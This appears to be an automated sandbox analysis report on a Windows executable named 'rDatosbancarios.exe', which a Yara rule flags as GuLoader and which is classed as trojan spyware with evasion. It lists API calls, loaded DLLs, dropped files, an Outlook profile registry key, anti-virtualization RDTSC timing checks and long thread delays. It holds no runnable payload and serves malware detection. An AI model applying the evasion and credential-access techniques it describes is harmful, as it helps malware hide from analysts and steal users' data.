Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE75E8	10_2_36DE75E8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEA7E8	10_2_36DEA7E8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DED397	10_2_36DED397
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEE988	10_2_36DEE988
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEB788	10_2_36DEB788
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE8588	10_2_36DE8588
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DED3A8	10_2_36DED3A8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE6FA8	10_2_36DE6FA8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEA1A8	10_2_36DEA1A8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE7F48	10_2_36DE7F48
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEB148	10_2_36DEB148
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEE978	10_2_36DEE978
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DECD68	10_2_36DECD68
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE9B68	10_2_36DE9B68
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEDD08	10_2_36DEDD08
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE7908	10_2_36DE7908
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEAB08	10_2_36DEAB08
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE2D30	10_2_36DE2D30
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEF928	10_2_36DEF928
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DEC728	10_2_36DEC728
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36DE9528	10_2_36DE9528
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E11530	10_2_36E11530
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E11C18	10_2_36E11C18
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E10760	10_2_36E10760
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E12300	10_2_36E12300
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E10040	10_2_36E10040
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E10E48	10_2_36E10E48
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E1E948	10_2_36E1E948
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E11521	10_2_36E11521
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E11C08	10_2_36E11C08
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E10750	10_2_36E10750
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E122F1	10_2_36E122F1
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E10011	10_2_36E10011
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36E10E38	10_2_36E10E38
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36F12300	10_2_36F12300
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36F10448	10_2_36F10448
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36F17B70	10_2_36F17B70
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36F11060	10_2_36F11060

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: String function: 00402BBF appears 51 times

Source: rDatosbancarios.exe, 00000000.00000002.2062246203.0000000000492000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedolcan.exeV vs rDatosbancarios.exe
Source: rDatosbancarios.exe, 0000000A.00000002.3041036000.0000000000492000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedolcan.exeV vs rDatosbancarios.exe
Source: rDatosbancarios.exe, 0000000A.00000002.3065072849.0000000033B67000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs rDatosbancarios.exe
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs rDatosbancarios.exe
Source: rDatosbancarios.exe	Binary or memory string: OriginalFilenamedolcan.exeV vs rDatosbancarios.exe

Source: rDatosbancarios.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/21@5/5

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004033B6
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		10_2_004033B6

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_004046DD GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046DD

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\rDatosbancarios.exe

File created: C:\Users\user\skraldemnd

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\rDatosbancarios.exe

File created: C:\Users\user\AppData\Local\Temp\nst3D83.tmp

Jump to behavior

Source: rDatosbancarios.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rDatosbancarios.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E9E000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E8E000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033EAC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: rDatosbancarios.exe	Virustotal: Detection: 45%
Source: rDatosbancarios.exe	ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\rDatosbancarios.exe

File read: C:\Users\user\Desktop\rDatosbancarios.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rDatosbancarios.exe "C:\Users\user\Desktop\rDatosbancarios.exe"
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process created: C:\Users\user\Desktop\rDatosbancarios.exe "C:\Users\user\Desktop\rDatosbancarios.exe"
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process created: C:\Users\user\Desktop\rDatosbancarios.exe "C:\Users\user\Desktop\rDatosbancarios.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

File written: C:\Users\user\skraldemnd\Foreprovided\Dowl\mikrometer.ini

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: rDatosbancarios.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2064115944.0000000004506000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_10002DE0 push eax; ret

0_2_10002E0E

Source: C:\Users\user\Desktop\rDatosbancarios.exe

File created: C:\Users\user\AppData\Local\Temp\nsp3EED.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\rDatosbancarios.exe	API/Special instruction interceptor: Address: 474C56F
Source: C:\Users\user\Desktop\rDatosbancarios.exe	API/Special instruction interceptor: Address: 2ECC56F

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\rDatosbancarios.exe	RDTSC instruction interceptor: First address: 4723561 second address: 4723561 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F1160D547CAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rDatosbancarios.exe	RDTSC instruction interceptor: First address: 2EA3561 second address: 2EA3561 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F1160E0823Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Memory allocated: 3550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Memory allocated: 33C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Memory allocated: 35C70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsp3EED.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rDatosbancarios.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\rDatosbancarios.exe TID: 5608	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe TID: 5608	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0040596F
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_004064C1 FindFirstFileW,FindClose,	0_2_004064C1
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0040596F CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	10_2_0040596F
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_004064C1 FindFirstFileW,FindClose,	10_2_004064C1
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_004027FB FindFirstFileW,	10_2_004027FB

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003748000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3043622105.00000000037AE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\rDatosbancarios.exe	API call chain: ExitProcess graph end node			graph_0-4496
Source: C:\Users\user\Desktop\rDatosbancarios.exe	API call chain: ExitProcess graph end node			graph_0-4503

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Process created: C:\Users\user\Desktop\rDatosbancarios.exe "C:\Users\user\Desktop\rDatosbancarios.exe"

Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Users\user\Desktop\rDatosbancarios.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_004061A0 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_004061A0

Source: C:\Users\user\Desktop\rDatosbancarios.exe

